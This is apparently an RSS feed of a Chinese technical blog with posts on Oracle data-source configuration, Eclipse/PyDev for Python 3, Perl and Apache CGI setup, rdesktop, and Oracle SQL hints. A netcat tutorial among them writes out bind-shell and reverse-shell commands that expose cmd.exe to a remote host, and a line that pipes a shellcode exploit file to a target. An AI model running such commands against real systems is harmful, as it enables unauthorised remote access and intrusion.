#55ff55">oracle</FONT></SPAN>:thin:@10.10.10.6:1521:DataBaseNamevalue&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; &lt;/ property&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property&nbsp;name="user"&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;testAdmin&lt;/value&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp; &lt;/ property&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property&nbsp;name="password"&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;123456&lt;/value&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; &lt;/property&gt;&nbsp;&nbsp;&nbsp;<BR>&lt;/bean&gt;&nbsp;&nbsp;&nbsp;<BR><BR>&nbsp;DBCP：<BR><BR>xml&nbsp;代码<BR>&lt;bean&nbsp;id="dataSource"&nbsp;class="org.apache.commons.dbcp.BasicDataSource"&nbsp;destroy-method="close"&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property&nbsp;name="driverClassName"&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;<SPAN class=hilite2><FONT style="BACKGROUND-COLOR: #55ff55">oracle</FONT></SPAN>.jdbc.driver.OracleDriver&lt;/value&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; &lt;/property&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property&nbsp;name="url"&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;jdbc:<SPAN class=hilite2><FONT style="BACKGROUND-COLOR: #55ff55">oracle</FONT></SPAN>:thin:@10.10.10.6:1521:DataBaseNamevalue&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; &lt;/property&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property&nbsp;name="username"&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;testAdmin&lt;/value&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; &lt;/property&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;property&nbsp;name="password"&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;123456&lt;/value&gt;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; &lt;/property&gt;&nbsp;&nbsp;&nbsp;<BR>&lt;/bean&gt;</A>]]></description>
</item><item>
<title><![CDATA[用Eclipse开发Python的详细配置(eclipse3.x+python3.x)]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=43276</link>
<author>zhanglincon</author>
<pubDate>2009/2/25 17:05:08</pubDate>
<description><![CDATA[<A>　
<P align=left>一.配置。</P>
<P>&nbsp;&nbsp;&nbsp;1.&nbsp;下载eclipse&nbsp;&nbsp;&nbsp;&nbsp; 版本：我用的是：3.2.0(更高版本也可以) 中文</P>
<P>&nbsp;&nbsp;&nbsp;2. 下载最新的python3.0.1 安装包并安装。这个过程很简单，不多说。</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 下载地址：</A><A href="http://www.python.org/download/"><FONT color=#800080>http://www.python.org/download/</FONT></A><A></P>
<P>&nbsp;&nbsp;&nbsp;3. 安装 PyDev&nbsp;&nbsp; 插件地址：</A><A href="http://pydev.sf.net/updates/"><FONT color=#4b7383>http://pydev.sf.net/updates/</FONT></A><A>&nbsp;插件安装方式就不啰嗦了。</P>
<P>&nbsp;&nbsp; 4. 安装成功之后打开参数设置面板，如图：</P>
<P></A><A href="http://img.blog.163.com/photo/lgZSjxDhoNWEHuWp0uZtFg==/5110178202183023699.jpg" target=_blank><IMG title="hello python 3.0--用eclipse开发python - oliwen - oliwen" alt="hello python 3.0--用eclipse开发python - oliwen - oliwen" src="http://img.blog.163.com/photo/lgZSjxDhoNWEHuWp0uZtFg==/5110178202183023699.jpg"></A><A></P>
<P>安装成功后会看到pydev选项. 选择 interpreter -Python, 最上面一栏选择 新建(W)&nbsp;&nbsp;找到python3.0的安装目录，选择python.exe。点击<STRONG><FONT color=#ff0000>应用，</FONT></STRONG>一切配置成功后的截图如下：</P>
<P></A><A href="http://img.blog.163.com/photo/rJL062ToJUq0xZHPqXnnFQ==/4295871094559244464.jpg" target=_blank><IMG title="hello python 3.0--用eclipse开发python - oliwen - oliwen" alt="hello python 3.0--用eclipse开发python - oliwen - oliwen" src="http://img.blog.163.com/photo/rJL062ToJUq0xZHPqXnnFQ==/4295871094559244464.jpg"></A><A></P>
<P>ok~~~~完成到这一步就可以新建python工程，开始写python啦~~~~~^_^~~~~~第一次写这样的教程，讲解得应该还算清晰吧~~~~~~~~</P>
<P>python是个好东西，还在学习中...............哈哈~~~~~~~好好学习，天天向上</P></A><A>
<DIV class=g_blog_list>写hello world<BR>首先是建一个项目,选文件---&gt;新建项目---&gt;pydev下的pydev project</DIV>
<DIV class=g_blog_list>&nbsp;</DIV>
<DIV class=g_blog_list>&nbsp;</DIV>
<DIV class=g_blog_list>
<P align=left><IMG height=402 src="http://blogimg.chinaunix.net/blog/upfile2/090225165524.gif" width=500 onload="javascript:if(this.width>500)this.width=500;" border=0></P></DIV>
<DIV class=g_blog_list>&nbsp;</DIV>
<DIV class=g_blog_list>&nbsp;</DIV>
<DIV class=g_blog_list>
<P align=left><IMG height=442 src="http://blogimg.chinaunix.net/blog/upfile2/090225165617.gif" width=500 onload="javascript:if(this.width>500)this.width=500;" border=0></P></DIV>
<DIV class=g_blog_list>&nbsp;</DIV>
<DIV class=g_blog_list>&nbsp;</DIV>
<DIV class=g_blog_list>&nbsp;</DIV>
<DIV class=g_blog_list>
<P align=left><IMG height=444 src="http://blogimg.chinaunix.net/blog/upfile2/090225165702.gif" width=500 onload="javascript:if(this.width>500)this.width=500;" border=0></P></DIV>
<DIV class=g_blog_list>&nbsp;</DIV>
<DIV class=g_blog_list>包名先不用写</DIV>
<DIV class=g_blog_list>&nbsp;</DIV>
<DIV class=g_blog_list>
<P align=left><IMG height=436 src="http://blogimg.chinaunix.net/blog/upfile2/090225165812.gif" width=500 onload="javascript:if(this.width>500)this.width=500;" border=0></P></DIV>
<DIV class=g_blog_list>&nbsp;</DIV>
<DIV class=g_blog_list>
<P align=left><IMG height=471 src="http://blogimg.chinaunix.net/blog/upfile2/090225165954.gif" width=500 onload="javascript:if(this.width>500)this.width=500;" border=0></P></DIV>
<DIV class=g_blog_list>
<P>python3.0以后去除print语句，加入print()函数实现相同的功能。同样的还有exec语句，已经改为exec()函数。去除了&lt;&gt;，全部改用!=。所以下面的语句语法错误。</P>
<P align=left><IMG height=461 src="http://blogimg.chinaunix.net/blog/upfile2/090225170034.gif" width=500 onload="javascript:if(this.width>500)this.width=500;" border=0></P>
<P>&nbsp;</P>
<P>编译执行</P>
<P align=left><IMG style="WIDTH: 596px; HEIGHT: 456px" height=462 src="http://blogimg.chinaunix.net/blog/upfile2/090225170115.gif" width=500 onload="javascript:if(this.width>500)this.width=500;" border=0></P></DIV>
<DIV class=g_blog_list><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-fareast-font-family: 宋体; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA"><?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /><v:shapetype id=_x0000_t75 stroked="f" filled="f" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" o:spt="75" coordsize="21600,21600">&nbsp;</v:shapetype></SPAN></DIV></A>
<DIV class=g_blog_list><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-fareast-font-family: 宋体; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA"><v:shapetype id=_x0000_t75 stroked="f" filled="f" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" o:spt="75" coordsize="21600,21600">&nbsp;<v:stroke joinstyle="miter"></v:stroke><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:connecttype="rect" gradientshapeok="t" o:extrusionok="f"></v:path><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:lock aspectratio="t" v:ext="edit"></o:lock></v:shapetype></SPAN></DIV>]]></description>
</item><item>
<title><![CDATA[安装Perl]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=43272</link>
<author>zhanglincon</author>
<pubDate>2009/2/25 15:43:40</pubDate>
<description><![CDATA[<A>　
<H1>&nbsp;</H1>
<P>摘要：文章记录了我初学perl 时的一些内容，如：如何安装perl、配置apache 让perl以cgi 方式运行、以及如何安装mod_perl等等——所以本文只适合perl 的初学者:-)</P>perl is so popular that almost all platform has it's perl distribution. 
<UL>
<LI></A><A href="http://www.lhelper.org/tech/perl_install.html#install_on_windows">Install perl on windows</A><A> 
<LI>Install perl on linux 
<LI>Instal perl modules 
<LI></A><A href="http://www.lhelper.org/tech/perl_install.html#run_with_apache">Config apache to allow perl programs to run as cgi</A><A> 
<LI>Install mod_perl </LI></UL>
<H2></A><A name=install_on_windows>Install perl on windows</A><A></H2>
<P>如果你有兴趣、勇气以及经验的话，你可以下载</A><A href="http://www.cpan.org/src/">Perl Source Code</A><A> 并自己编译perl；如果你象我一样懒得动手的话则可以到</A><A href="http://www.activestate.com/">ActiveState</A><A>下载已经打包好的二进制版本的</A><A href="http://www.activestate.com/Products/ActivePerl/">ActivePerl</A><A>来安装。</P>
<P>我下载的是5.8.0版本的ActivePerl，你在看到这篇文章的时候可能已经有了更高版本的distribution 了。</P>
<P>ActivePerl(5.8.0)中包含以下模块: 
<UL>
<LI>Perl Core - the core of perl 
<LI>Perl for ISAPI - ISAPI plugin for perl 
<LI>PerlScript - ActiveX script engine for perl 
<LI>PPM (Perl Package Manager) - manager for perl module and extensions </LI></UL>
<P></P>
<P>建议你象我一样把perl 安装到d:\usr\local\perl 目录下。安装完之后在d:\usr\local 目录下为perl创建一个快捷方式perl-5.8.0——为的是方便以后升级；拷贝bin目录下的perl.exe 到d:\usr\bin 目录下；设置如下环境变量： 
<UL>
<LI>HOME=d:/home/lhelper 
<LI>PATH=%PATH%;d:\usr\bin;d:\usr\local\perl\bin; </LI></UL>
<P></P>
<P class=prompt>注：建议大家尽量把apache、php、perl、jdk 之类的工具安装到"$:\usr\local\"目录下（仿照unix/bsd/linux 的目录结构，并为自己创建home 目录，如"$:\home\lhelper\"），而不是象大部分书籍中所写的"c:\"——要知道windows 也是可以识别 "/home/lhelper/workspace/" 之类的目录的。另建议不要把"$"设置为"c"，设置为"d" 应该是个比较不错的选择——这样当你不得不重新安装windows 操作系统的时候只要把环境变量备份一下，"c:\" 你可以随便处理，这些工具并不需要备份，系统重装之后把环境变量重新设置一下就可以投入使用了。</P>
<P>到dos/命令提示符下执行"perl -v" 验证一下环境变量的设置是否正确: <CODE><PRE>D:\&gt;perl -v

This is perl, v5.8.0 built for MSWin32-x86-multi-thread
(with 1 registered patch, see perl -V for more detail)

Copyright 1987-2002, Larry Wall
......
</PRE></CODE>
<H2></A><A name=install_on_linux>Install perl on linux</A><A></H2>to be continue... 
<H2>Install perl modules</H2>to be continue... 
<H2></A><A name=run_with_apache>Config apache to allow perl programs to run as cgi</A><A></H2>
<P>perl 是被用于开发cgi 程序的主要语言之一，借助apache 的mod_cgi 模块，经过简单设置就可以让你的perl 程序以cgi 方式运行了——当然如果你的工作是webmaster 的话，那么前面一句话也许并不适合你；另外如果你想提高perl 的运行效率那你就需要mod_perl 的支持了。</P>
<P>要apache 允许cgi 程序的执行有多种方法： 
<UL>
<LI>ScriptAlias: 
<P>出于安全方面的原因，系统管理员有时会把cgi 的执行权限限制到某个目录下，即通过ScriptAlias 进行限制，如： 
<P><CODE><PRE>ScriptAlias /cgi-bin/ /usr/local/apache/cgi-bin/
</PRE></CODE>
<P></P>这样apache 会认为"/cgi-bin/" 目录下的所有文件都是（尽管它可能不是）cgi 程序，并试图去执行它——如果放到"/cgi-bin/" 目录下的某个文件并不真的是cgi 程序的话，那么对这个文件的访问将会引发异常，因为apache 没办法正常的执行它。 
<P></P>
<LI>Options 
<P>有时候很难把所有的cgi 程序都汇总到一个目录下，这时可以借助Options 和 AddHandler 来对更高一级目录来进行设置，使apache 可以选择性的执行目录下的cgi 程序，如： 
<P><CODE><PRE>......
AddHandler cgi-script .cgi
AddHandler cgi-script .pl
......
&lt;Directory /home/lhelper/public_html&gt;
&nbsp;&nbsp;Options Indexes ExecCGI
&nbsp;&nbsp;AllowOverride None
&lt;/Directory&gt;
</PRE></CODE>
<P></P>这样只有 "/home/lhelper/public_html" 或子目录下的扩展名为".cgi" 或 ".pl" 文件会被当作cgi 程序执行。 
<P></P>
<LI>.htaccess fils </LI></UL>
<P></P>Sample:<BR><CODE><PRE>......
AddModule mod_cgi.c
......
AddHandler cgi-script .cgi
AddHandler cgi-script .pl
......
NameVirtualHost 192.168.0.87
&lt;VirtualHost 192.168.0.87:80&gt;
&nbsp;&nbsp;ServerName home.lhelper.org
&nbsp;&nbsp;DocumentRoot /home/lhelper/public_html
&nbsp;&nbsp;ErrorLog /home/apache/logs/home.lhelper.org-error.log
&nbsp;&nbsp;CustomLog /home/apache/logs/home.lhelper.org-access.log combined
&nbsp;&nbsp;&lt;IfModule mod_cgi.c&gt;
&nbsp;&nbsp;&nbsp;&nbsp;ScriptLog logs/script.log
&nbsp;&nbsp;&nbsp;&nbsp;ScriptLogLength 10385760
&nbsp;&nbsp;&nbsp;&nbsp;ScriptLogBuffer 1024
&nbsp;&nbsp;&lt;/IfModule&gt;
&nbsp;&nbsp;&lt;Directory /&gt;
&nbsp;&nbsp;&nbsp;&nbsp;Options Indexes ExecCGI
&nbsp;&nbsp;&nbsp;&nbsp;AllowOverride None
&nbsp;&nbsp;&lt;/Directory&gt;
&lt;/VirtualHost&gt;
</PRE></CODE>
<H2>Install mod_perl</H2>to be continue... 
<H2>Reference</H2>
<UL>
<LI>Perl in a nutshell - By Ellen Siever, Stephen Spainhour &amp; Nathan Patwardhan 
<LI></A><A href="http://httpd.apache.org/docs/1.3/howto/cgi.html">Apache Tutorial: Dynamic Content with CGI</A><A> 
<LI></A><A href="http://httpd.apache.org/docs/1.3/mod/mod_cgi.html">Apache module mod_cgi</A><A> </LI></UL></A>]]></description>
</item><item>
<title><![CDATA[linux下常用命令之nc]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=41952</link>
<author>zhanglincon</author>
<pubDate>2008/12/24 15:55:02</pubDate>
<description><![CDATA[<DIV class=mainbox>&nbsp;</DIV>
<DIV class=t_msgfont id=postmessage_7239093>nc是一款很不错的<SPAN class=t_tag onclick=tagshow(event) href="tag.php?name=%CD%F8%C2%E7">网络</SPAN><SPAN class=t_tag onclick=tagshow(event) href="tag.php?name=%BC%EC%B2%E2">检测</SPAN><SPAN class=t_tag onclick=tagshow(event) href="tag.php?name=%B9%A4%BE%DF">工具</SPAN>，以下是详细使用。<BR>'nc.exe -h'即可看到各参数的使用方法。 <BR>基本格式：nc [-options] hostname port[s] [ports] ... <BR>　　 nc -l -p port [options] [hostname] [port] <BR>-d 后台模式 <BR>-e prog <SPAN class=t_tag onclick=tagshow(event) href="tag.php?name=%B3%CC%D0%F2">程序</SPAN>重定向，一旦连接，就执行 [危险!!] <BR>-g gateway source-routing hop point[s], up to 8 <BR>-G num source-routing pointer: 4, 8, 12, ... <BR>-h 帮助信息 <BR>-i secs 延时的间隔 <BR>-l 监听模式，用于入站连接 <BR>-L 连接关闭后,仍然继续监听 <BR>-n 指定数字的IP地址，不能用hostname <BR>-o file 记录16进制的传输 <BR>-p port 本地<SPAN class=t_tag onclick=tagshow(event) href="tag.php?name=%B6%CB%BF%DA">端口</SPAN>号 <BR>-r 随机本地及远程端口 <BR>-s addr 本地源地址 <BR>-t 使用TELNET交互方式 <BR>-u UDP模式 <BR>-v 详细输出--用两个-v可得到更详细的内容 <BR>-w secs timeout的时间 <BR>-z 将输入输出关掉--用于扫描时 <BR>端口的表示方法可写为M-N的范围格式。<BR>1)连接到远程主机<BR>格式：nc -nvv 192.168.x.x 80 <BR>讲解：连到192.168.x.x的TCP80端口 <BR>2)监听本地主机<BR>格式：nc -l -p 80 <BR>讲解：监听本机的TCP80端口 <BR>3)扫描远程主机<BR>格式：nc -nvv -w2 -z 192.168.x.x 80-445 <BR>讲解：扫描192.168.x.x的TCP80到TCP445的所有端口 <BR>4)REMOTE主机绑定SHELL，例子： <BR>格式：nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe <BR>讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 <BR>5)REMOTE主机绑定SHELL并反向连接，例子： <BR>格式：nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 <BR>讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 <BR>以上为最基本的几种用法（其实NC的用法还有很多， <BR>当配合管道<SPAN class=t_tag onclick=tagshow(event) href="tag.php?name=%C3%FC%C1%EE">命令</SPAN>"|"与重定向<SPAN class=t_tag onclick=tagshow(event) href="tag.php?name=%C3%FC%C1%EE">命令</SPAN>"&lt;"、"&gt;"等等<SPAN class=t_tag onclick=tagshow(event) href="tag.php?name=%C3%FC%C1%EE">命令</SPAN><SPAN class=t_tag onclick=tagshow(event) href="tag.php?name=%B9%A6%C4%DC">功能</SPAN>更强大......）。 <BR>6)作<SPAN class=t_tag onclick=tagshow(event) href="tag.php?name=%B9%A5%BB%F7">攻击</SPAN>程序用，例子： <BR>格式1：type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80 <BR>格式2：nc -nvv 192.168.x.x 80 &lt; c:\exploit.txt <BR>讲解：连接到192.168.x.x的80端口，并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果，真是有异曲同工之妙:P) <BR>附：'c:\exploit.txt'为shellcode等 <BR>7)作蜜罐用[1]，例子： <BR>格式：nc -L -p 80 <BR>讲解：使用'-L'(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止 <BR>8)作蜜罐用[2]，例子： <BR>格式：nc -L -p 80 &gt; c:\log.txt <BR>讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到'c:\log.txt'中，如果把‘&gt;' <BR>　 改为‘&gt;&gt;'即可以追加日志 <BR>附：'c:\log.txt'为日志等 <BR>9)作蜜罐用[3]，例子： <BR>格式1：nc -L -p 80 &lt; c:\honeypot.txt <BR>格式2：type.exe c:\honeypot.txt|nc -L -p 80 <BR>讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，并把'c:\honeypot.txt'的内容‘送'入其管道中！<BR>10)备份档案<BR>A机的<SPAN class=t_tag onclick=tagshow(event) href="tag.php?name=%D7%CA%C1%CF">资料</SPAN>夹 /data备份到B主机的backup.tgz<BR>源主机: tar czf - work|nc -l -c -p 1234 <BR>目的主机: nc 192.168.0.1 1234 &gt;a.tgz<BR>或<BR>A:tar -zcf data|nc -l -p 4444<BR>B:nc a 4444 &gt;backup.tgz<BR>传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿<BR></DIV>]]></description>
</item><item>
<title><![CDATA[Linux下实现3389登录windows远程桌面]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=41810</link>
<author>zhanglincon</author>
<pubDate>2008/12/18 2:10:14</pubDate>
<description><![CDATA[首先到<A href="http://www.rdesktop.org/" target=_blank>http://www.rdesktop.org</A>下载rdesktop<BR>然后<BR>#tar zxvf rdesktop-NN-tar.gz<BR>#cd rdeskop-NN<BR>#cat README<BR>#./configure<BR>#make ; make install<BR>#/usr/local/bin/rdesktop&nbsp;&nbsp;<BR>#ln -s /usr/local/bin/rdesktop /usr/bin/rdesktop<BR><BR>或者直接yum也行<BR>可以通过 rdesktop -u username -p password ip:端口 实现自动连接。<BR>想要设置连接后的桌面分辨率可以在连接时加上适当的参数，<BR>下边是help信息。<BR>嘿嘿，终于]]></description>
</item><item>
<title><![CDATA[运用HINT提高SQL语句的执行效率]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=41731</link>
<author>zhanglincon</author>
<pubDate>2008/12/14 16:24:33</pubDate>
<description><![CDATA[<A>
<DIV class=date>&nbsp;</DIV>
<TABLE style="TABLE-LAYOUT: fixed">
<TBODY>
<TR>
<TD>
<DIV class=cnt id=blog_text>运用HINT提高SQL语句的执行效率 
<P>hints是oracle提供的一种机制，用来告诉优化器按照我们的告诉它的方式生成执行计划。我们可以用hints来实现： <BR>1) 使用的优化器的类型 <BR>2) 基于代价的优化器的优化目标，是all_rows还是first_rows。 <BR>3) 表的访问路径，是全表扫描，还是索引扫描，还是直接利用rowid。 <BR>4) 表之间的连接类型 <BR>5) 表之间的连接顺序 <BR>6) 语句的并行程度</P><BR>
<P>1、写HINT目的<BR>手工指定SQL语句的执行计划<BR>hints是oracle提供的一种机制，用来告诉优化器按照我们的告诉它的方式生成执行计划。我们可以用hints来实现： <BR>1) 使用的优化器的类型 <BR>2) 基于代价的优化器的优化目标，是all_rows还是first_rows。 <BR>3) 表的访问路径，是全表扫描，还是索引扫描，还是直接利用rowid。 <BR>4) 表之间的连接类型 <BR>5) 表之间的连接顺序 <BR>6) 语句的并行程度</P>
<P>2、HINT可以基于以下规则产生作用<BR>表连接的顺序、表连接的方法、访问路径、并行度</P>
<P>3、HINT应用范围<BR>dml语句<BR>查询语句</P>
<P>4、语法<BR>/*+ hint [text] [hint[text]]... */<BR>or<BR>--+ hint [text] [hint[text]]...<BR>如果语（句）法不对，则ORACLE会自动忽略所写的HINT，不报错</P>
<P>5、指定优化器模式的HINT<BR>RULE：不管是否有统计信息，都将采用基于规则进行优化；<BR>CHOOSE：只要被访问的数据中有一个表有统计信息，就将采用基于代价的方式进行优化；<BR>FIRST_ROWS：不管是否有统计信息，都将采用基于代价的方式进行优化，其优化目标是最快响应时间；<BR>ALL_ROWS：不管是否有统计信息，都将采用基于代价的方式进行优化，其优化目标是最大吞吐量；<BR>例子：<BR>尽快地显示前10行记录<BR>select /*+ first_rows(10) */ * from emp where deptno=10;</P>
<P>6、指定访问路径的HINT<BR>FULL: 执行全表扫描<BR>/*+ FULL ( table ) */<BR>ROID: 根据ROWID进行扫描<BR>/*+ ROWID ( table ) */<BR>INDEX: 根据某个索引进行扫描<BR>/*+ INDEX ( table [index [index]...] ) */<BR>select /*+ index(emp ind_emp_sal)*/ * from emp where deptno=200 and sal&gt;300;<BR>如果写了多个，则ORACLE自动选择最优的哪个<BR>select /*+ index(emp ind_emp_sal ind_emp_deptno)*/ * from emp where deptno=200 and sal&gt;300;<BR>INDEX_JOIN: 如果所选的字段都是索引字段(是几个索引的)，那么可以通过索引连接就可访问到数据，而不需要访问表的数据。<BR>/*+ INDEX_JOIN ( table [index [index ...]] ) */<BR>select /*+ index_join(emp ind_emp_sal ind_emp_deptno)*/ deptno,sal from emp where deptno=20;<BR>INDEX_FFS: 执行快速全索引扫描<BR>/*+ INDEX_FFS ( table [index [index]...] ) */<BR>select /*+ index_ffs(emp pk_emp)*/ count(*) from emp;<BR>NO_INDEX: 指定不使用哪些索引<BR>/*+ NO_INDEX ( table [index [index]...] ) */<BR>select /*+ no_index(emp ind_emp_sal ind_emp_deptno)*/ * from emp where deptno=200 and sal&gt;300;<BR>AND_EQUAL: 指定合并两个或以上索引检索的结果(交集)，最多不能超过5个<BR>/*+ AND_EQUAL ( table index index [index] [index] [index] ) */</P>
<P>7、指定表的连接顺序<BR>ORDERED: 按表出现的顺序进行连接<BR>/*+ ORDERED */<BR>select /*+ordered*/ emp.ename,dept.dname from dept,emp where emp.deptno=dept.deptno;<BR>select /*+ordered*/ emp.ename,dept.dname from emp,dept where emp.deptno=dept.deptno;<BR>8、指定表的连接操作<BR>USE_NL: 按nested loops方式连接<BR>--默认hash join，获取所有数据的最快返回时间<BR>select emp.ename,dept.dname from dept,emp where emp.deptno=dept.deptno;<BR>--指定emp作为inner table ,以获取最快的响应时间<BR>select /*+ordered use_nl(emp) to get first row faster */ emp.ename,dept.dname from dept,emp where emp.deptno=dept.deptno;<BR>select /*+ordered use_nl(emp dept)*/ emp.ename,dept.dname from dept,emp where emp.deptno=dept.deptno;</P>
<P></P>
<P>在SQL语句优化过程中，我们经常会用到hint,现总结一下在SQL优化过程中常见Oracle HINT的用法：</P>
<P>1. /*+ALL_ROWS*/<BR>表明对语句块选择基于开销的优化方法,并获得最佳吞吐量,使资源消耗最小化.<BR>例如:<BR>SELECT /*+ALL+_ROWS*/ EMP_NO,EMP_NAM,DAT_IN FROM BSEMPMS WHERE EMP_NO=’SCOTT’;<BR>2. /*+FIRST_ROWS*/<BR>表明对语句块选择基于开销的优化方法,并获得最佳响应时间,使资源消耗最小化.<BR>例如:<BR>SELECT /*+FIRST_ROWS*/ EMP_NO,EMP_NAM,DAT_IN FROM BSEMPMS WHERE EMP_NO=’SCOTT’;</P>
<P><BR>3. /*+CHOOSE*/<BR>表明如果数据字典中有访问表的统计信息,将基于开销的优化方法,并获得最佳的吞吐量;<BR>表明如果数据字典中没有访问表的统计信息,将基于规则开销的优化方法;<BR>例如:<BR>SELECT /*+CHOOSE*/ EMP_NO,EMP_NAM,DAT_IN FROM BSEMPMS WHERE EMP_NO=’SCOTT’;</P>
<P>4. /*+RULE*/<BR>表明对语句块选择基于规则的优化方法.<BR>例如:<BR>SELECT /*+ RULE */ EMP_NO,EMP_NAM,DAT_IN FROM BSEMPMS WHERE EMP_NO=’SCOTT’;</P>
<P>5. /*+FULL(TABLE)*/<BR>表明对表选择全局扫描的方法.<BR>例如:<BR>SELECT /*+FULL(A)*/ EMP_NO,EMP_NAM FROM BSEMPMS A WHERE EMP_NO=’SCOTT’;</P>
<P>6. /*+ROWID(TABLE)*/<BR>提示明确表明对指定表根据ROWID进行访问.<BR>例如:<BR>SELECT /*+ROWID(BSEMPMS)*/ * FROM BSEMPMS WHERE ROWID&gt;=’AAAAAAAAAAAAAA’<BR>AND EMP_NO=’SCOTT’;</P>
<P>7. /*+CLUSTER(TABLE)*/<BR>提示明确表明对指定表选择簇扫描的访问方法,它只对簇对象有效.<BR>例如:<BR>SELECT /*+CLUSTER */ BSEMPMS.EMP_NO,DPT_NO FROM BSEMPMS,BSDPTMS<BR>WHERE DPT_NO=’TEC304′ AND BSEMPMS.DPT_NO=BSDPTMS.DPT_NO;</P>
<P>8. /*+INDEX(TABLE INDEX_NAME)*/<BR>表明对表选择索引的扫描方法.<BR>例如:<BR>SELECT /*+INDEX(BSEMPMS SEX_INDEX) USE SEX_INDEX BECAUSE THERE ARE FEWMALE BSEMPMS */ FROM BSEMPMS WHERE SEX=’M';</P>
<P>9. /*+INDEX_ASC(TABLE INDEX_NAME)*/<BR>表明对表选择索引升序的扫描方法.<BR>例如:<BR>SELECT /*+INDEX_ASC(BSEMPMS PK_BSEMPMS) */ FROM BSEMPMS WHERE DPT_NO=’SCOTT’;</P>
<P>10. /*+INDEX_COMBINE*/<BR>为指定表选择位图访问路经,如果INDEX_COMBINE中没有提供作为参数的索引,将选择出位图索引的布尔组合方式.<BR>例如:<BR>SELECT /*+INDEX_COMBINE(BSEMPMS SAL_BMI HIREDATE_BMI)*/ * FROM BSEMPMS<BR>WHERE SAL&lt;5000000 AND HIREDATE</P>
<P>11. /*+INDEX_JOIN(TABLE INDEX_NAME)*/<BR>提示明确命令优化器使用索引作为访问路径.<BR>例如:<BR>SELECT /*+INDEX_JOIN(BSEMPMS SAL_HMI HIREDATE_BMI)*/ SAL,HIREDATE<BR>FROM BSEMPMS WHERE SAL&lt;60000;</P>
<P>12. /*+INDEX_DESC(TABLE INDEX_NAME)*/<BR>表明对表选择索引降序的扫描方法.<BR>例如:<BR>SELECT /*+INDEX_DESC(BSEMPMS PK_BSEMPMS) */ FROM BSEMPMS WHERE DPT_NO='SCOTT';</P>
